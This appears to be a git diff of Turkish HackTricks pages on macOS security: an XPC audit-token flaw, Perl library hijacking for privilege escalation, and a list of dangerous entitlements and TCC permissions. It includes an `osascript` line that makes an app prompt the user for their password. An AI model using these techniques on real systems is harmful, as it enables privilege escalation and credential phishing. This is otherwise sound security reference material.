* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve aktif kullanım gerektiriyordu. * **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve etkin kullanım gerektiriyordu.
* **Analiz Araçları**: IDA/Ghidra gibi araçlar, ulaşılabilir mach hizmetlerini incelemek için kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı. * **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı.
* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrılarını analiz etmek için betik oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi. * **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi.
## Düzeltme <a href="#the-fix" id="the-fix"></a> ## Düzeltme <a href="#the-fix" id="the-fix"></a>
* **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a sunuldu. * **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a sunuldu.
* **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı. * **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı.
* **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC mesajına bağlı mach mesajından denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir. * **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC mesajına bağlı mach mesajından denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir.
* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesiyle uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir. * **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesi ile uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir.
* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır. * **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te hala devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır.

View file

@ -6,17 +6,17 @@
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz * [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## `PERL5OPT` ve `PERL5LIB` çevresel değişkeni Aracılığıyla ## `PERL5OPT` ve `PERL5LIB` Çevresel Değişkeni Aracılığıyla
PERL5OPT çevresel değişkenini kullanarak, perl'in keyfi komutları çalıştırmasını sağlamak mümkündür.\ Çevresel değişken PERL5OPT kullanılarak perl'in keyfi komutları çalıştırması mümkündür.\
Örneğin, bu betiği oluşturun: Örneğin, bu betiği oluşturun:
{% code title="test.pl" %} {% code title="test.pl" %}
@ -64,13 +64,13 @@ Hangi şu şekilde bir şey döndürecektir:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level /System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30 /System/Library/Perl/Extras/5.30
``` ```
Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak betik bağımlılıklarını ekleyebilir, böylece yüksek ayrıcalıklı bir Perl betiği onu yükler. Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak oraya betik bağımlılıkları ekleyebilir ve yüksek ayrıcalıklı bir Perl betiği onu yükleyebilir.
{% hint style="warning" %} {% hint style="warning" %}
Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** ve günümüzde bu **TCC uyarısı** alacağınızı unutmayın: Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** unutmayın ve günümüzde bu **TCC uyarısı** alacaksınız:
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
Örneğin, bir betik **`use File::Basename;`** içe aktarıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturularak keyfi kod yürütülmesi mümkün olacaktır. Örneğin, bir betik **`use File::Basename;`** içe aktarıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturularak keyfi kod yürütülmesi mümkün olacaktır.
@ -80,14 +80,14 @@ Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** ve gü
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong>!</summary> <summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -1,92 +1,93 @@
# macOS Tehlikeli Yetkiler ve TCC İzinleri # macOS Tehlikeli Yetkiler ve TCC izinleri
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına katkıda bulunun.
</details> </details>
{% hint style="warning" %} {% hint style="warning" %}
**`com.apple`** ile başlayan yetkilendirmelerin yalnızca Apple tarafından verilebildiğini unutmayın. **`com.apple`** ile başlayan yetkiler üçüncü taraflar için mevcut değildir, yalnızca Apple bunları verebilir.
{% endhint %} {% endhint %}
## Yüksek ## Yüksek
### `com.apple.rootless.install.heritable` ### `com.apple.rootless.install.heritable`
**`com.apple.rootless.install.heritable`** yetkisi, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya](macos-sip.md#com.apple.rootless.install.heritable) bakın. **`com.apple.rootless.install.heritable`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`** ### **`com.apple.rootless.install`**
**`com.apple.rootless.install`** yetkisi, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya](macos-sip.md#com.apple.rootless.install) bakın. **`com.apple.rootless.install`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install).
### **`com.apple.system-task-ports` (önceden `task_for_pid-allow` olarak adlandırılıyordu)** ### **`com.apple.system-task-ports`** (önceki adıyla `task_for_pid-allow`)
Bu yetki, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantısını** almayı sağlar. Daha fazla bilgi için [**buraya**](../mac-os-architecture/macos-ipc-inter-process-communication/) bakın. Bu yetki, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantı noktasını almayı** sağlar. Daha fazla bilgi için [buraya bakın](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.get-task-allow` ### `com.apple.security.get-task-allow`
Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer işlemlerin, bu yetkiye sahip olan ikili tarafından çalıştırılan işlemin görev bağlantısını almasına ve **üzerine kod enjekte etmesine** izin verir. Daha fazla bilgi için [**buraya**](../mac-os-architecture/macos-ipc-inter-process-communication/) bakın. Bu yetki, diğer işlemlerin **`com.apple.security.cs.debugger`** yetkisi ile bu yetkiye sahip olan ikili tarafından çalıştırılan işlemin görev bağlantı noktasını almasına ve üzerine kod enjekte etmesine izin verir. Daha fazla bilgi için [buraya bakın](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.cs.debugger` ### `com.apple.security.cs.debugger`
Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantısı almak için `task_for_pid()` çağrısı yapabilir. Bununla birlikte, hata ayıklama aracı yetkisi olsa bile, hata ayıklama aracı **`Get Task Allow` yetkisine** sahip olmayan işlemlerin görev bağlantılarını **alabilir**, bu nedenle Sistem Bütünlüğü Koruması tarafından korunan işlemler. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger) bakın. Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantı noktasını almak için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını alamaz. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation` ### `com.apple.security.cs.disable-library-validation`
Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmaksızın **çerçeveleri, eklentileri veya kitaplıkları yüklemeye** izin verir, bu nedenle bir saldırgan bazı keyfi kitaplık yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation) bakın. Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmayan çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye izin verir**, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation` ### `com.apple.private.security.clear-library-validation`
Bu yetki, **`com.apple.security.cs.disable-library-validation`** ile çok benzerdir, ancak **kitaplık doğrulamasını doğrudan devre dışı bırakmak** yerine, işlemin bunu devre dışı bırakmak için bir `csops` sistem çağrısı yapmasına izin verir. Daha fazla bilgi için [**buraya**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/) bakın. Bu yetki, **kütüphane doğrulamasını doğrudan devre dışı bırakmak yerine**, işlemi **devre dışı bırakmak için bir `csops` sistem çağrısı yapmasına** izin verir.\
Daha fazla bilgi için [buraya bakın](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables` ### `com.apple.security.cs.allow-dyld-environment-variables`
Bu yetki, kitaplıklar ve kod enjekte etmek için kullanılabilecek **DYLD çevre değişkenlerini** kullanmaya izin verir. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) bakın. Bu yetki, kütüphane ve kod enjekte etmek için kullanılabilecek **DYLD çevresel değişkenlerini kullanmaya** izin verir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` veya `com.apple.rootless.storage`.`TCC` ### `com.apple.private.tcc.manager` veya `com.apple.rootless.storage`.`TCC`
[**Bu bloga**](https://objective-see.org/blog/blog\_0x4C.html) **ve** [**bu bloga**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/) göre, bu yetkiler **TCC** veritabanını **değiştirmeye** izin verir. [**Bu bloga göre**](https://objective-see.org/blog/blog\_0x4C.html) **ve** [**bu bloga göre**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), bu yetkiler **TCC** veritabanını **değiştirmeye izin verir**.
### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`** ### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`**
Bu yetkiler, kullanıcının iznini sormadan **yazılım yüklemeye** izin verir, bu da bir **ayrıcalık yükseltmesi** için faydalı olabilir. Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da **bir ayrıcalık yükseltmesi** için faydalı olabilir.
### `com.apple.private.security.kext-management` ### `com.apple.private.security.kext-management`
Çekirdeğin bir çekirdek uzantısını yüklemesini istemek için gereken yetki. Çekirdeğe bir çekirdek uzantısını yüklemesi için gereken yetki.
### **`com.apple.private.icloud-account-access`** ### **`com.apple.private.icloud-account-access`**
**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmayı sağlar ve bu hizmet **iCloud belirteçleri sağlar**. **`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmayı mümkün kılar ve **iCloud belgelerini sağlar**.
**iMovie** ve **Garageband** bu yetkiye sahipti. **iMovie** ve **Garageband** bu yetkiye sahipti.
Bu yetkiye sahip olan uygulamadan **icloud belirteçleri almak** için yapılan saldırı hakkında daha fazla **bilgi** için konuşmaya bakın: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0) Bu yetkiden **icloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token` ### `com.apple.private.tcc.manager.check-by-audit-token`
TODO: Bunu ne yapmaya izin verdiğini bilmiyorum TODO: Bu ne yapmaya izin verir bilmiyorum
### `com.apple.private.apfs.revert-to-snapshot` ### `com.apple.private.apfs.revert-to-snapshot`
TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) bu, yeniden başlatmadan sonra SSV korumalı içeriği güncellemek için kullanılabileceği belirtiliyor. Nasıl olduğunu biliyorsanız lütfen bir PR gönderin! TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bahsedildiğine göre** bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabilir. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin!
### `com.apple.private.apfs.create-sealed-snapshot` ### `com.apple.private.apfs.create-sealed-snapshot`
TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) bu, yeniden başlatmadan sonra SSV korumalı içeriği güncellemek için kullanılabileceği belirtiliyor. Nasıl olduğunu biliyorsanız lütfen bir PR gönderin! TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bahsedildiğine göre** bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabilir. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin!
### `keychain-access-groups` ### `keychain-access-groups`
Bu yetki, uygulamanın erişebileceği **anahtarlık** gruplarının listesidir: Bu yetki, uygulamanın erişim sağladığı **anahtarlık** gruplarını listeler:
```xml ```xml
<key>keychain-access-groups</key> <key>keychain-access-groups</key>
<array> <array>
@ -99,11 +100,11 @@ Bu yetki, uygulamanın erişebileceği **anahtarlık** gruplarının listesidir:
``` ```
### **`kTCCServiceSystemPolicyAllFiles`** ### **`kTCCServiceSystemPolicyAllFiles`**
Bu, sahip olabileceğiniz en yüksek TCC izinlerinden biri olan **Tam Disk Erişimi** izinlerini verir. Tam Disk Erişimi izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biri.
### **`kTCCServiceAppleEvents`** ### **`kTCCServiceAppleEvents`**
Uygulamanın, genellikle **görevleri otomatikleştirmek** için yaygın olarak kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir. Uygulamanın, genellikle **görevleri otomatikleştirmek** için kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
Kullanıcıdan şifresini istemelerini sağlamak gibi: Kullanıcıdan şifresini istemelerini sağlamak gibi:
@ -113,48 +114,48 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
``` ```
{% endcode %} {% endcode %}
Veya onları **keyfi eylemler** gerçekleştirmeye zorlamak. Veya onları **keyfi eylemler gerçekleştirmeye** zorlamak.
### **`kTCCServiceEndpointSecurityClient`** ### **`kTCCServiceEndpointSecurityClient`**
Kullanıcıların TCC veritabanını **yazmasına** izin verir. Diğer izinler arasında, **kullanıcıların TCC veritabanına yazma** izni verir.
### **`kTCCServiceSystemPolicySysAdminFiles`** ### **`kTCCServiceSystemPolicySysAdminFiles`**
Kullanıcının ev klasörü yolunu değiştiren bir kullanıcının **`NFSHomeDirectory`** özniteliğini **değiştirmesine** izin verir ve böylece TCC'yi **atlamasına** olanak tanır. Bir kullanıcının ev klasörü yolunu değiştiren ve dolayısıyla **TCC'yi atlamasına izin veren** bir kullanıcı **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir.
### **`kTCCServiceSystemPolicyAppBundles`** ### **`kTCCServiceSystemPolicyAppBundles`**
Varsayılan olarak **yasaklanmış olan** uygulama paketi içindeki dosyaları değiştirmeye izin verir. Varsayılan olarak **yasaklanmış olan** uygulama paketleri içindeki dosyaları değiştirmeye izin verir (uygulama.app içinde).
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi_. Bu erişime kimin sahip olduğunu kontrol etmek mümkündür: _Sistem Ayarları_ > _Gizlilik ve Güvenlik_ > _Uygulama Yönetimi._
### `kTCCServiceAccessibility` ### `kTCCServiceAccessibility`
İşlem, macOS erişilebilirlik özelliklerini **kötüye kullanabilir**, bu da örneğin tuş vuruşları yapabilmesi anlamına gelir. Bu izinle Finder gibi bir uygulamayı kontrol etmek için erişim isteyebilir ve bu izinle iletişim kutusunu onaylayabilir. İşlem, **macOS erişilebilirlik özelliklerini kötüye kullanabilir**, Bu da örneğin tuş vuruşları yapabilmesi demektir. Bu nedenle, Finder gibi bir uygulamayı kontrol etme erişimini isteyebilir ve bu izinle iletişim kutusunu onaylayabilir.
## Orta ## Orta
### `com.apple.security.cs.allow-jit` ### `com.apple.security.cs.allow-jit`
Bu yetki, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçerek **yazılabilir ve yürütülebilir bellek oluşturmayı** sağlar. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit). Bu ayrıcalık, `mmap()` sistem işlevine `MAP_JIT` bayrağını geçirerek **yazılabilir ve yürütülebilir bellek oluşturmayı** sağlar. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
### `com.apple.security.cs.allow-unsigned-executable-memory` ### `com.apple.security.cs.allow-unsigned-executable-memory`
Bu yetki, C kodunu **geçersiz kılmak veya yamalamak**, temel olarak güvensiz olan **`NSCreateObjectFileImageFromMemory`**'yi kullanmak (veya **DVDPlayback** çerçevesini kullanmak) için kullanılır. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory). Bu ayrıcalık, **C kodunu geçersiz kılmaya veya yamamaya**, uzun süredir kullanılmayan **`NSCreateObjectFileImageFromMemory`**'ı kullanmaya (temelde güvensiz) veya **DVDPlayback** çerçevesini kullanmaya izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
{% hint style="danger" %} {% hint style="danger" %}
Bu yetkiyi eklemek, uygulamanızı bellek güvenli olmayan kod dillerinde yaygın olarak görülen güvenlik açıklarına karşı savunmasız hale getirir. Uygulamanızın bu istisnayı ihtiyaç duyup duymadığını dikkatlice düşünün. Bu ayrıcalığı eklemek, uygulamanızı bellek güvensiz kod dillerinde yaygın güvenlik açıklarına maruz bırakır. Uygulamanızın bu istisnaya ihtiyaç duyup duymadığını dikkatlice düşünün.
{% endhint %} {% endhint %}
### `com.apple.security.cs.disable-executable-page-protection` ### `com.apple.security.cs.disable-executable-page-protection`
Bu yetki, **kendi yürütülebilir dosyalarının** diskteki bölümlerini değiştirmeye izin verir. Daha fazla bilgi için [**burayı kontrol edin**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection). Bu ayrıcalık, **kendi yürütülebilir dosyalarının diskteki bölümlerini değiştirmeye** izin verir. Daha fazla bilgi için [**buraya bakın**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
{% hint style="danger" %} {% hint style="danger" %}
Devre Dışı Bırakılabilir Sayfa Koruması Yetkisi, uygulamanızdan temel bir güvenlik korumasını kaldıran aşırı bir yetkidir ve bir saldırganın uygulamanızın yürütülebilir kodunu tespit edilmeden yeniden yazabilmesine olanak tanır. Mümkünse daha dar yetkileri tercih edin. Devre Dışı Bırakılabilir Yürütülebilir Sayfa Koruma Ayrıcalığı, uygulamanızdan temel bir güvenlik korumasını kaldırarak, saldırganın uygulamanızın yürütülebilir kodunu algılanmadan yeniden yazmasını mümkün kılar. Mümkünse daha dar ayrıcalıkları tercih edin.
{% endhint %} {% endhint %}
### `com.apple.security.cs.allow-relative-library-loads` ### `com.apple.security.cs.allow-relative-library-loads`
@ -163,31 +164,29 @@ TODO
### `com.apple.private.nullfs_allow` ### `com.apple.private.nullfs_allow`
Bu yetki, varsayılan olarak yasaklanmış bir nullfs dosya sistemi bağlamayı sağlar. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master). Bu ayrıcalık, varsayılan olarak yasaklanmış olan bir nullfs dosya sistemi bağlamasına izin verir. Araç: [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
### `kTCCServiceAll` ### `kTCCServiceAll`
Bu blog yazısına göre, bu TCC izni genellikle şu şekilde bulunur: Bu blog yazısına göre, bu TCC izni genellikle şu formda bulunur:
``` ```
